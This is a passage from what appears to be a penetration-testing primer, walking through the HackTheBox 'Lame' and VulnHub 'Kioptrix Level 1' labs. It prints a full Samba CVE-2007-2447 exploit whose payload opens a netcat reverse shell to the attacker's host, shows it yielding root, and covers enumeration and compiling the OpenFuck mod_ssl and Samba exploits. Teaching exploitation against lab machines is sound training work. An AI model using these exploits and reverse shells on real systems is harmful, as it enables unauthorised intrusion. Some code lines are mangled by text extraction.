This exploit is another Metasploit module. According to the exploit, the vulnerability is caused by the use of the non- default “username map script” configuration option. By specifying shell meta characters in the provided username, arbitrary commands can be executed. The exploit references CVE-2007-2447. After searching online, I was able to find a blog post which explains the vulnerability and how it can be exploited. The post links to a GitHub repository which contains exploit code. The exploit code requires Python 2 and the pysmb library, so I’ll be configuring it in a virtual environment. This allows me to configure Python and its libraries in a self-contained environment, instead of modifying the globally-installed libraries and Python versions. If the virtualenv package isn’t installed, you’ll want to install it first: kali@kali:~$ sudo apt install virtualenv Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: python-pip-whl python3-appdirs python3-distlib python3-filelock python3-virtualenv The following NEW packages will be installed: python-pip-whl python3-appdirs python3-distlib python3-filelock python3-virtualenv

˓→virtualenv 0 upgraded, 6 newly installed, 0 to remove and 262 not upgraded. Need to get 2,077 kB of archives. After this operation, 3,365 kB of additional disk space will be used. Do you want to continue? [Y/n] Y [...]

Next, I’ll get the source code: kali@kali:~$ git clone https://github.com/amriunix/cve-2007-2447.git Cloning into 'cve-2007-2447'... remote: Enumerating objects: 8, done. remote: Total 8 (delta 0), reused 0 (delta 0), pack-reused 8 Receiving objects: 100% (8/8), done. Resolving deltas: 100% (2/2), done.

Now, enter the target directory and create the virtual environment: kali@kali:~$ cd cve-2007-2447/ kali@kali:~/cve-2007-2447$ virtualenv --python=python2 venv created virtual environment CPython2.7.18.final.0-64 in 617ms creator CPython2Posix(dest=/home/kali/cve-2007-2447/venv, clear=False, global=False) (continues on next page)

3.1. HackTheBox 57 No Skids Allowed! A Pentester's Primer

(continued from previous page) seeder FromAppData(download=False, lockfile=latest, pkg_resources=latest,

˓→chardet=latest, setuptools=latest, distlib=latest, distro=latest,

˓→CacheControl=latest, progress=latest, msgpack=latest, contextlib2=latest,

˓→retrying=latest, six=latest, ipaddr=latest, pep517=latest, html5lib=latest,

˓→requests=latest, appdirs=latest, idna=latest, pyparsing=latest, certifi=latest,

˓→colorama=latest, pytoml=latest, webencodings=latest, pip=latest, packaging=latest,

˓→urllib3=latest, wheel=latest, via=copy, app_data_dir=/home/kali/.local/share/

˓→virtualenv/seed-app-data/v1.0.1.debian) activators BashActivator,CShellActivator,FishActivator,PowerShellActivator,

˓→PythonActivator

Next, activate the virtual environment, then install the pysmb library:

kali@kali:~/cve-2007-2447$ source venv/bin/activate (venv) kali@kali:~/cve-2007-2447$ pip install pysmb /home/kali/cve-2007-2447/venv/lib/python2.7/site-packages/pkg_resources/py2_warn.

˓→py:21: UserWarning: Setuptools will stop working on Python 2 [...] Collecting pysmb [...] Building wheels for collected packages: pysmb Building wheel for pysmb (setup.py) ... done Created wheel for pysmb: filename=pysmb-1.2.1-py2-none-any.whl size=83186

˓→sha256=cbd7a67238206d39e7b1814f37bcdb06ecc46682b9d8fd22349a62cf7ac791e9 Stored in directory: /home/kali/.cache/pip/wheels/ea/44/40/

˓→91948192fe53fb51c72ad07bf0a6325b531754bb3979d96d53 Successfully built pysmb Installing collected packages: pyasn1, pysmb Successfully installed pyasn1-0.4.8 pysmb-1.2.1

With this complete, we’re nearly ready to attempt the exploit. Only one last step: check the source code before we use it. Fortunately, this exploit is remarkably small:

1 #!/usr/bin/python 2 #-*- coding: utf-8 -*- 3

4 # From : https://github.com/amriunix/cve-2007-2447

5 # case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/

6

7 import sys

8 from smb.SMBConnection import SMBConnection

9

10 def exploit(rhost, rport, lhost, lport):

11 payload='mkfifo /tmp/hago; nc'+ lhost+''+ lport+' 0

˓→bin/sh >/tmp/hago 2>&1; rm /tmp/hago'

12 username="/= `nohup"+ payload+" `"

13 conn= SMBConnection(username,"","","")

14 try:

15 conn.connect(rhost, int(rport), timeout=1)

16 except:

17 print'[+] Payload was sent - check netcat !'

18

19 if __name__ =='__main__': 20 print('[*] CVE-2007-2447 - Samba usermap script') 21 if len(sys.argv) !=5:

22 print("[-] usage: python"+ sys.argv[0]+"

˓→") (continues on next page)

58 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

(continued from previous page)

23 else:

24 print("[+] Connecting !")

25 rhost= sys.argv[1]

26 rport= sys.argv[2]

27 lhost= sys.argv[3]

28 lport= sys.argv[4]

29 exploit(rhost, rport, lhost, lport)

The most important part of this script is the exploit function. Let’s walk through it, like we did with the vsftpd exploit. To start, we have the function declaration:

def exploit(rhost, rport, lhost, lport):

This function takes four values as input, which correspond to the remote and local hosts and ports we wish to use. Let’s see how these values are used. In the line, we can see how the payload is assembled:

payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0/

˓→tmp/hago 2>&1; rm /tmp/hago'

The payload, when constructed, will look like this:

mkfifo /tmp/hago; nc [Local IP] [Local Port] 0/tmp/hago 2>&1;

˓→rm /tmp/hago

This is a commonly-used netcat reverse shell “one-liner” which creates a reverse TCP backdoor, piping /bin/sh through netcat to the local host and port. The following lines inject the payload into a carefully-formatted Username string, then send the exploit to the target:

username="/= `nohup"+ payload+" `" conn= SMBConnection(username,"","","") try: conn.connect(rhost, int(rport), timeout=1) except: print'[+] Payload was sent - check netcat !'

Now that we understand how the exploit works, it’s time to test it out. First, we’ll set up a netcat listener on port 443, in order to catch our incoming reverse shell:

kali@kali:~$ sudo nc -vnlp 443 listening on [any] 443 ...

I like to use port 443 because it’s the default port for HTTPS; while many firewalls may block outbound traffic on strange ports like 6666, few will block outbound traffic on port 443, as this would prevent the system from communi- cating with HTTPS websites. With our listener established, it’s time to attempt the exploit on the target. Let’s first check the exploit’s usage infor- mation (in case we forgot what we saw in the source code):

(venv) kali@kali:~/cve-2007-2447$ python usermap_script.py [*] CVE-2007-2447 - Samba usermap script [-] usage: python usermap_script.py

Now that we understand how to run the exploit, let’s launch our attack! (In this example, my local IP is 10.10.14. 15 – yours may be different.)

3.1. HackTheBox 59 No Skids Allowed! A Pentester's Primer

(venv) kali@kali:~/cve-2007-2447$ python usermap_script.py 10.10.10.3 139 10.10.14.15

˓→443 [*] CVE-2007-2447 - Samba usermap script [+] Connecting ! [+] Payload was sent - check netcat !

Returning to our netcat listener, we have a shell! Using the whoami command, we can see that we’re logged in as root: kali@kali:~$ sudo nc -vnlp 443 listening on [any] 443 ... connect to [10.10.14.15] from (UNKNOWN) [10.10.10.3] 58541 whoami root

Excellent! Let’s get an improved shell using a Python trick: python -c 'import pty;pty.spawn("/bin/bash")' root@lame:/# export TERM=linux export TERM=linux root@lame:/#

We’ve now got access to the root user on this system. Congratulations! You can now capture the user.txt and root.txt flags, if you wish.

3.2 VulnHub

VulnHub is a website offering a wide variety of “Boot2Root” vulnerable virtual machines available for visitors to download free-of-charge. It predates HackTheBox by over a decade, with its first VM, BadStore: 1.2.3, having been posted in 2004. Most of the VMs on VulnHub are designed to be compatible with either VMWare or VirtualBox. If you’d like to follow along on your own system, you’ll need one of the two installed. Also, it is advised to use Host-Only Networking to communicate between your Kali VM and the various VulnHub targets. This allows you to interact with the target as if they’re on a local network, while keeping them segregated from the Internet as a whole.

3.2.1 Kioptrix Level 1

Difficulty Easy Reference ARP-Scan: The ARP Scanner Enum4linux: SMB & Samba Enumeration The Metasploit Framework: Hacking on Rails Netcat: The Network Swiss-Army Knife Netcat Reverse Shells Nmap: the Network Mapper Transferring Files with Python SearchSploit: a Searchable Database of Exploits Tee: Transparently Save Output from Tools

Originally released in February of 2010, this VulnHub VM is aimed at novice hackers, and is designed to teach the

60 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer basics. This VM can be downloaded from its official VulnHub page. Alternatively, the image can be downloaded from this mega.nz mirror. Once you’ve downloaded the VM, extract it to a folder and import it into the VM manager of your choice. This VM was designed for VMWare, but it can be imported into VirtualBox with minimal effort. With this complete, go ahead and boot up Kioptrix Level 1 and your Kali VM, and you’re ready to begin!

3.2.1.1 Enumeration

Reference arp-scan enum4linux Metasploit nmap tee

Finding the Target’s IP

Before we can start scanning our target for open ports and running services, we must first identify where it is on the network. There are a number of ways to do this, but for the purposes of this tutorial, we’ll use the arp-scan utility. Before we run arp-scan, we need to know what our IP is, so we know which subnet to scan. For this, we can use the ip a command: kali@kali:~$ ip a [...] 3: eth1: mtu 1500 qdisc pfifo_fast state UP group

˓→default qlen 1000 link/ether 08:00:27:85:c7:a2 brd ff:ff:ff:ff:ff:ff inet 10.1.1.100/24 brd 10.1.1.255 scope global dynamic noprefixroute eth1 valid_lft 502sec preferred_lft 502sec inet6 fe80::a00:27ff:fe85:c7a2/64 scope link noprefixroute valid_lft forever preferred_lft forever

My system’s IP is 10.1.1.100. Yours may be different. Be sure to take note of the IP, because you’ll need it later! The command-line we’ll use for arp-scan is as follows: sudo arp-scan -I eth1 -l

Notice that we’re using the -l flag. This will scan the entire local subnet. Also, we need to specify the network interface on which the VMs reside, using the -I command-line argument. In this example, I’m using eth1, as this is the interface revealed in the previous ip a command. You’ll want to modify your arp-scan command to suit the subnet and network interface on which your Kali and Kioptrix VMs reside. Here’s what the output of the tool looks like: kali@kali:~$ sudo arp-scan -I eth1 -l Interface: eth1, type: EN10MB, MAC: 08:00:27:85:c7:a2, IPv4: 10.1.1.100 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 10.1.1.1 0a:00:27:00:00:00 (Unknown: locally administered) 10.1.1.1 08:00:27:72:bd:42 PCS Systemtechnik GmbH (DUP: 2) 10.1.1.102 08:00:27:4d:93:21 PCS Systemtechnik GmbH

(continues on next page)

3.2. VulnHub 61 No Skids Allowed! A Pentester's Primer

(continued from previous page) 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 2.113 seconds (121.15 hosts/sec). 3

˓→responded

In this example, we can see that arp-scan identified our local IP as 10.1.1.100, as seen in the top-right corner of the tool’s output. Following this, the tool lists the IPs and MAC addresses of the rest of the systems discovered on the network. The 10.1.1.1 IP is managed by VirtualBox’s virtual networking subsystem. 10.1.1.102, on the other hand, is the IP of Kioptrix Level 1, our target for this exercise.

Scanning for Open Ports

Now that we’ve determined the IP address of the target system, let’s see what ports are open. For this, we’ll use nmap, with the -sV and -O flags enabled, to identify the services and OS running on the target:

kali@kali:~$ sudo nmap -sV -O 10.1.1.102 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-06 14:05 EDT Nmap scan report for 10.1.1.102 Host is up (0.0030s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.

˓→4 OpenSSL/0.9.6b) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP) 443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4

˓→OpenSSL/0.9.6b 32768/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:4D:93:21 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.4.X OS CPE: cpe:/o:linux:linux_kernel:2.4 OS details: Linux 2.4.9 - 2.4.18 (likely embedded) Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://

˓→nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.98 seconds

Based on this quick scan, we can see that the system appears to be running Linux, with a number of open ports. We see OpenSSH on port 22, Apache httpd 1.3.20 on ports 80 and 443, Samba smbd on port 139, and RPC (Remote Procedure Call) on ports 111 and 32768. We can also see that the target is running , based on the information provided by Apache. Now that we know what ports are available, we should prioritize them to determine which would be the most valuable targets for further enumeration. Based on personal experience, I will say that OpenSSH isn’t likely to provide much data for enumeration, nor is RPC on ports 111 or 32768. As a result, we’ll skip enumerating those ports, and will return to them only if our exploration of the Apache and Samba services prove fruitless.

62 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Enumerating Apache

Between Samba and Apache, it’s hard to decide which would be the better target for our initial enumeration. However, generally speaking, web servers are often a more attractive target, as they often feature poorly-constructed websites with numerous security flaws. Our first step is, quite simply, to connect to the service using a normal web browser, just to see what’s there. If this were a real penetration test, this would be the least-conspicuous way to approach the target, as it is unlikely to set off any alarms in their defenses. First, we’ll check the HTTP site on port 80, by visiting http://10.1.1.102/ in Firefox. Here we discover a default Apache test page, demonstrating that the Apache service has been successfully installed on the system.

Fig. 11: The default Apache test page.

Next, we’ll check out the site on port 443, by visiting https://10.1.1.102/ in Firefox. We are presented with a warning.

Fig. 12: Warning: Potential Security Risk Ahead

3.2. VulnHub 63 No Skids Allowed! A Pentester's Primer

Our first impulse might be to quickly click through the warning and move on to the site, but it’s always a good idea to inspect the warnings you receive, in order to learn what you can from them. In this case, we’ll click the Advanced. . . button, which informs us that this website’s certificate is invalid. It’s always a good idea to click View Certificate, just to see what you can learn. In this case, there isn’t much value provided by the certificate, so we’ll go ahead and click Accept the Risk and Continue. After passing through the security warning, we’re once again presented with the default Apache test page. With that, we’ve pretty much reached the end of what we can do with Firefox, as these test pages don’t really provide us with much to work with. We can go ahead and close the browser. Looking back to our nmap scan, we can see some additional details about the Apache installation on this system. The returned version information was as follows:

Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

From this information, we know the following: • Apache is version 1.3.20. • The Operating System is Red Hat Linux. • Apache has at least two modules installed: mod_ssl version 2.8.4, and OpenSSL version 0.9.6b This is all useful information. When enumerating a system, one of the most important pieces of information you can gather about a service is the version number, which can help you learn what vulnerabilities might exist in that software. Despire the lack of vulnerable websites on the target’s HTTP server, it’s still possible that Apache, or one of its modules, might be exploitable. Our next course of action could be to use a tool like dirbuster to attempt a brute-force enumeration attack on the target in order to see if there are any secret pages or directories on the server, but this is time-consuming, and is very noisy. In a real penetration test, using such a tool is likely to raise some alarms and get you caught. So, for now, we’ll skip this step, returning to it later if we’re unable to find another vector for attack.

Enumerating Samba

With Apache out of the way, our next target for enumeration is Samba, on port 139. Samba is an open-source im- plementation of the Server Message Block (SMB) protocol, and has historically been a prime target for exploitation. Let’s see what we can learn about this service.

Note: If you’ll recall, Kioptrix Level 1 was published to VulnHub back in 2010. Since then, the Samba software has undergone significant updates. As a result, the Samba client software in the latest Kali Linux distribution is no longer compatible with the Samba service on Kioptrix Level 1 in its default configuration. Thus, the various tools and techniques employed in this section won’t work without some modification. Fortunately, this process is fairly easy. All you have to do is modify the /etc/samba/smb.conf file on Kali Linux. To do this, just run sudo nano /etc/samba/smb.conf, then add the following two lines just after the [global] line:

client min protocol = CORE client max protocol = SMB3

This will tell Kali to allow the use of the outdated Samba protocols necessary to interact with our target.

One of the most useful utilities for enumerating Samba is enum4linux. This tool connects to the target system and attempts to gather as much information as it possibly can about the target. As a result, it can generate a ton of information. For this reason, I like to save its output into a file so that I can parse through it again later if I overlooked something the first time around. To do this, I’ll use the tee utility to save the output of the enum4linux tool into a

64 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

file called kioptrix_lv1.enum4linux. As for the enum4linux scanner itself, I’ll just pass the IP address, as the scanner uses a robust set of enumeration options by default:

kali@kali:~$ sudo enum4linux 10.1.1.102 | tee kioptrix_lv1.enum4linux [sudo] password for kali: Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ )

˓→on Mon Apr 6 20:00:10 2020

======| Target Information | ======Target ...... 10.1.1.102 RID Range ...... 500-550,1000-1050 Username ...... '' Password ...... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none [...] S-1-5-21-4157223341-3243572438-1405127623-1000 KIOPTRIX\root (Local User) S-1-5-21-4157223341-3243572438-1405127623-1001 KIOPTRIX\root (Local Group) [...] S-1-5-21-4157223341-3243572438-1405127623-1006 KIOPTRIX\adm (Local User) [...] S-1-5-21-4157223341-3243572438-1405127623-1009 KIOPTRIX\adm (Local Group) [...]

Having saved the output of the tool with tee, if we want to go through it again later, we can simply open the kioptrix_lv1.enum4linux file with our favorite text editor (or the less utility in the command line) and peruse it at our leisure. Browsing through the output of the command, we learn that the host calls itself KIOPTRIX, and we learn the names of a number of the users and groups on the system. Some of the options don’t work so well, perhaps because (as of the time this was written) the last update to the script was over 2 years ago. We’ve gathered a good amount of information with enum4linux, but we still don’t know what version of Samba is running on the target. Fortunately for us, there’s a Metasploit module that can help identify more information about SMB and Samba, enabling us to identify the version of Samba running on our target. To use this module, let’s first launch Metasploit. Open the Kali menu, then type metasploit, then click the Metas- ploit framework launcher. This will initialize and launch the Metasploit console. Once you see the msf5 command prompt, type the following:

use auxiliary/scanner/smb/smb_version

This will select the smb_version scanner module. Next, use the show options command to see what options need to be set. You’ll see that there’s a required value called RHOSTS. This is where we’ll need to store the IP address of our target. To do this, type:

set RHOSTS 10.1.1.102

Finally, type run to launch the scanner. It will return the Samba version information:

msf5 auxiliary(scanner/smb/smb_version) > run

[*] 10.1.1.102:139 - Host could not be identified: Unix (Samba 2.2.1a) [*] 10.1.1.102:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Despite saying Host could not be identified, Metasploit has revealed the Samba version number: 2.2.1a.

3.2. VulnHub 65 No Skids Allowed! A Pentester's Primer

Operating System Detection

Having completed our enumeration of Apache and Samba, we now know that the following software and modules are running on the target: • Red Hat Linux version ??? • Apache verision 1.3.20 • mod_ssl version 2.8.4 • OpenSSL version 0.9.6b • Samba version 2.2.1a • OpenSSH version 2.9p2 There’s only one version number we’re missing: that of the operating system. How can we determine what OS is currently installed, with the information we currently possess? That’s right: it’s time to put our Google-fu to work. By searching for a specific package number, combined with the name of the operating system, we can often deduce the OS version. This is because specific OS releases are shipped with specific versions of bundled packages. Apache is a good candidate, as nearly all major Linux distributions ship with Apache as the default bundled web server. Therefore, let’s search for red hat apache 1.3.20 and see what we can find.

Fig. 13: Search results for “red hat apache 1.3.20”.

The first link leads us to www.rpm-find.net, where we discover that this version of Apache was shipped with Red Hat Linux version 7.2.

Fig. 14: Red Hat Linux version 7.2.

Success! We’ve now determined the version numbers for all visible software on the system (with the exception of the RPC service listening on ports 111 and 32768).

66 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Note: You might notice that we’ve completely skipped any form of UDP port enumeration. Admittedly, this is a considerable oversight. However, UDP port scanning and enumeration can take a significant amount of time, due to the nature of how UDP traffic operates. In addition, TCP services are significantly more common, and provide a much more accessible attack surface. As with RPC and OpenSSH, we can typically reserve extensive UDP enumeration as a last resort, if nothing else works. That being said, while a UDP port scan might take significant time, there’s no reason why you can’t be running a nmap UDP scan in the background while you perform the remainder of your TCP enumeration techniques.

3.2.1.2 Vulnerability Assessment

Reference SearchSploit: a Searchable Database of Exploits

Now that we’ve enumerated the OS and services on the target, it’s time to see if we can find any vulnerabilities that exist in those services. For this, we’ll use SearchSploit, working through the list of our identified software to reveal as many potential exploits as we can find. We’ll work from the previously-established list, starting from the top to the bottom, so that we don’t miss anything. By default, SearchSploit matches complete search parameters, so we’ll start by specifying the full version number, then broaden the search as necessary to find better matches. First up, there’s Apache version 1.3.20:

kali@kali:~$ searchsploit --id apache 1.3.20 ------Exploit Title | EDB-ID ------Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure | 21204 Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access | 19975 ------Shellcodes: No Result

The first result in the list won’t be useful to us, as it obviously only works on Windows machines. We can examine the second result with the -x flag followed by the EDB-ID of the exploit:

kali@kali:~$ searchsploit -x 19975 Exploit: Apache 1.3.6/1.3.9/1.3.11/1.3.12/1.3.20 - Root Directory Access URL: https://www.exploit-db.com/exploits/19975 Path: /usr/share/exploitdb/exploits/windows/remote/19975.pl File Type: ASCII text, with very long lines, with CRLF line terminators

When we use the -x flag like this, SearchSploit opens the exploit in the less utility, allowing us to browse through its source. Reading through the description of the exploit, we discover that it, too, only works on Windows machines. We’ll hit the q button on the keyboard to exit the less utility, after which point we can see the additional information provided by SearchSploit, which reveals that the file is located in the windows exploit directory on-disk, further proof that this exploit is designed for Windows. Let’s broaden our search a little, searching for apache 1.3:

kali@kali:~$ searchsploit --id apache 1.3 ------Exploit Title | EDB-ID ------Apache 1.0/1.2/1.3 - Server Address Disclosure | 21067 Apache 1.2.5/1.3.1 / UnityMail 2.0 - MIME Header Denial of Service | 20272 (continues on next page)

3.2. VulnHub 67 No Skids Allowed! A Pentester's Primer

(continued from previous page) Apache 1.3 + PHP 3 - File Disclosure | 20466 [...] Apache Win32 1.3.x/2.0.x - Batch File Remote Command Execution | 21350 NCSA 1.3/1.4.x/1.5 / Apache HTTPd 0.8.11/0.8.14 - ScriptAlias Source Retr | 20595 htpasswd Apache 1.3.31 - Local Overflow | 466 ------Shellcodes: No Result

Looking through the list of results, once again nothing really stands out. There’s a Remote Code Execution (RCE) exploit in the list, but it’s for mod_mylo, which we didn’t see was installed on the target. Time to move on to the next service on the host. This time we’ll be looking at mod_ssl version 2.8.4. Searching for the specific version provides no results, so we remove the last digit and search again:

kali@kali:~$ searchsploit --id mod_ssl 2.8 ------Exploit Title | EDB-ID ------Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow | 21575 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | 21671 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1 | 764 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2 | 47080 ------Shellcodes: No Result

Aha! It appears that mod_ssl versions prior to 2.8.7 (which includes 2.8.4) are vulnerable to a Remote Buffer Overflow attack, with associated exploits called OpenFuck.c and OpenFuckV2.c. We’ll make a note of their EDB-ID numbers and move on. Our next target for investigation is OpenSSL version 0.9.6b. The full version number returns no results, and removing the .6b gives us nothing really worthwhile. Lots of Denial of Service (DoS) vulnerabilities, but we’re not trying to crash the system, we’re trying to gain access, privileges, or information. Moving on, we’ll now look at Samba version 2.2.1a. The full version number doesn’t provide us with any results, but removing the .1a gives us a bounty:

kali@kali:~$ searchsploit --id samba 2.2 ------Exploit Title | EDB-ID ------Samba 2.0.x/2.2 - Arbitrary File Creation | 20968 Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | 9924 Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1) | 16321 [...] Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assembling Buffer Overflow | 22356 Samba 2.2.x - Remote Buffer Overflow | 7 Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | 10 ------Shellcodes: No Result

There appear to be a number of Remote Buffer Overflow and RCE exploits available for this version of Samba, including some with Metasploit modules. However, the last result, regarding the RCE exploit for Linux and BSD, looks appetizing, and doesn’t depend upon Metasploit. Let’s give that a shot, and if it doesn’t work, we can come back to the list and try something else. Our final target is OpenSSH version 2.9p2. Searching for the full version number provides no results. Removing the p2 from the end doesn’t help, so finally we search for version 2.. This time, there are a number of results, but there’s only one RCE, and it’s for FreeBSD. It seems we’ve hit a dead-end.

68 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Having finished our SearchSploit investigation, we’ve discovered two potential targets for exploitation: • Apache’s mod_ssl, via the OpenFuck exploits, and • Samba, via the Linux/BSD RCE exploit. In the next section, we’ll put these exploits to the test.

3.2.1.3 Exploitation

Refer- Metasploit ence netcat Netcat Reverse Shells Transferring Files with Python SearchSploit: a Searchable Database of Exploits

Gathering Exploits with SearchSploit

Now that we’ve discovered a couple vulnerabilities in our target, we should prioritize them according to which we think will be the most likely to succeed (and the easiest to pull off). With that in mind, let’s examine our two candidates. First up, we have the OpenFuck exploits for Apache. There are three different EDB-ID entries listed. We can examine them with SearchSploit’s -x flag, followed by their ID number. The second exploit appears to be an improvement on the first, and the third an improvement on the second, so we’ll put the first two aside and focus on the last exploit, with ID 47080. Looking through the source code, this version appears to have options for our target’s operating system and Apache versions:

[...] {"RedHat Linux 7.2 (apache-1.3.20-16)1",0x080994e5}, {"RedHat Linux 7.2 (apache-1.3.20-16)2",0x080994d4}, [...]

We’ll create a copy of this exploit using SearchSploit’s -m flag: kali@kali:~$ searchsploit -m 47080 Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) URL: https://www.exploit-db.com/exploits/47080 Path: /usr/share/exploitdb/exploits/unix/remote/47080.c File Type: C source, ASCII text, with CRLF line terminators

Copied to: /home/kali/47080.c

Examining the Samba exploit, we can likewise see that the target OS is listed in the exploit’s available targets:

[...] {"samba-2.2.x - Redhat 7.x", 0xbffff310, linux_bindcode,0}, [...]

We’ll copy this exploit as well: kali@kali:~$ searchsploit -m 10 Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution URL: https://www.exploit-db.com/exploits/10 Path: /usr/share/exploitdb/exploits/multiple/remote/10.c File Type: C source, ASCII text, with CRLF line terminators (continues on next page)

3.2. VulnHub 69 No Skids Allowed! A Pentester's Primer

(continued from previous page)

Copied to: /home/kali/10.c

Next, we’ll attempt to compile both exploits. To keep track of which is which, we’ll rename them appropriately: kali@kali:~$ mv 47080.c OpenFuck.c kali@kali:~$ mv 10.c samba_exploit.c

Next, we’ll compile each according to the instructions outlined within each file.

Compiling the mod_ssl Exploit

The mod_ssl exploit provides the following command line for compilation, but Kali responds with an error: kali@kali:~$ gcc -o OpenFuck OpenFuck.c -lcrypto OpenFuck.c:21:10: fatal error: openssl/ssl.h: No such file or directory 21 | #include | ^~~~~~~~~~~~~~~ compilation terminated.

It appears we’re missing the openssl/ssl.h file, which is necessary for compilation. Using Google, we can see if anyone else has had any luck compiling this exploit by searching for compile openfuck.c kali.

Fig. 15: Search results for compile openfuck.c kali

The first link directs us to a Medium article that has a series of steps for compiling the exploit. But the second link looks even more appealing: it’s an updated version of the OpenFuck exploit created in 2018. This seems promising! Let’s check it out. Clicking the link takes us to a GitHub repository containing the OpenFuck.c source code and a README.md file containing compilation instructions. First, we should download the OpenFuck.c file. To do this, click the OpenFuck.c link, then click the Raw button on the top right of the source-code listing. This will provide us with the plain-text version of the code, which we can copy-and-paste into an OpenLuck.c file on Kali. After saving the updated OpenLuck.c source code, we’ll return to the README page and follow the directions for compiling the software. First, it says to install the libssl-dev software using apt-get: kali@kali:~$ sudo apt-get install libssl-dev Reading package lists... Done (continues on next page)

70 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

(continued from previous page) Building dependency tree Reading state information... Done [...] Preparing to unpack .../libssl-dev_1.1.1d-2_amd64.deb ... Unpacking libssl-dev:amd64 (1.1.1d-2) ... Setting up libssl-dev:amd64 (1.1.1d-2) ...

Note: If you’re using a secondary host-only network to communicate between Kali and the target system, you might need to switch to the primary network interface in order to allow Kali to access the internet and install this software. Once you’re done, you can switch back to the secondary network in order to continue targeting Kioptrix.

With the appropriate library installed, compile the OpenLuck binary. If everything goes correctly, you should see no output, and you’ll find the OpenLuck executable in your current directory:

kali@kali:~$ gcc -o OpenLuck OpenLuck.c -lcrypto kali@kali:~$ ls -lah OpenLuck -rwxr-xr-x 1 kali kali 43K Apr 7 13:41 OpenLuck

Great! The exploit has been compiled. On to the next. . .

Compiling the Samba Exploit

Reading the source code of the samba_exploit.c file, we can see no special compilation instructions, so let’s just compile it with a straightforward gcc command. We’ll use the -o flag, followed by a filename, in order to name the resulting executable:

kali@kali:~$ gcc samba_exploit.c -o samba_exploit kali@kali:~$ ls -lah samba_exploit -rwxr-xr-x 1 kali kali 41K Apr 7 13:46 samba_exploit

As before, if compilation is successful, we should see no output from the gcc command, and the samba_exploit executable should be in the same directory. Finally! It’s time to test our exploits. Since we were able to compile both exploits, we’ll just test them in alphabetical order: Apache first, then Samba.

Warning: Before using any public exploits downloaded from the internet, it’s always a good idea to read the exploit’s source code. This is important for a number of reasons: • The exploit might require modification in order to work on your system or against your target. • By reading the source, you can gain a better understanding of how the exploit works. • Hackers have been known to release malicious “exploit” code which, when compiled and executed, actually harms the user’s computer instead of working as expected. This has been done as an attack against “script kiddies” who download and run exploits without taking the time to understand how they work. By reading the source code of each exploit before you compile and execute it, you can not only improve your hacking knowledge and ensure that the code runs smoothly, but you can also protect yourself against malicious code.

3.2. VulnHub 71 No Skids Allowed! A Pentester's Primer

Exploiting Apache’s mod_ssl

To see how to run the OpenLuck exploit, we’ll just execute the file with no command-line arguments: kali@kali:~$ ./OpenLuck

******************************************************************* * OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open * ******************************************************************* [...] : Usage: ./OpenLuck target box [port] [-c N]

target - supported box eg: 0x00 box - hostname or IP address port - port for ssl connection -c open N connections. (use range 40-50 if u dont know)

Supported OffSet: [...] 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2 [...]

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

According to the instructions, we must define the target of the exploit using a hexadecimal-formatted offset code, as well as the IP of the target. The port and -c N settings are optional, but we should at least specify the port to be as specific as possible. Looking through the list of supported offsets (which I’ve pruned for brevity), we can see two possible options for Red Hat Linux version 7.2 with Apache version 1.3.20. Reading through the instructions provided on the OpenLuck GitHub page, it is advised to use the -c 40 option to specify a count value of 40. Let’s run the command, targeting Kioptrix on port 443: kali@kali:~$ ./OpenLuck 0x6a 10.1.1.102 443 -c 40

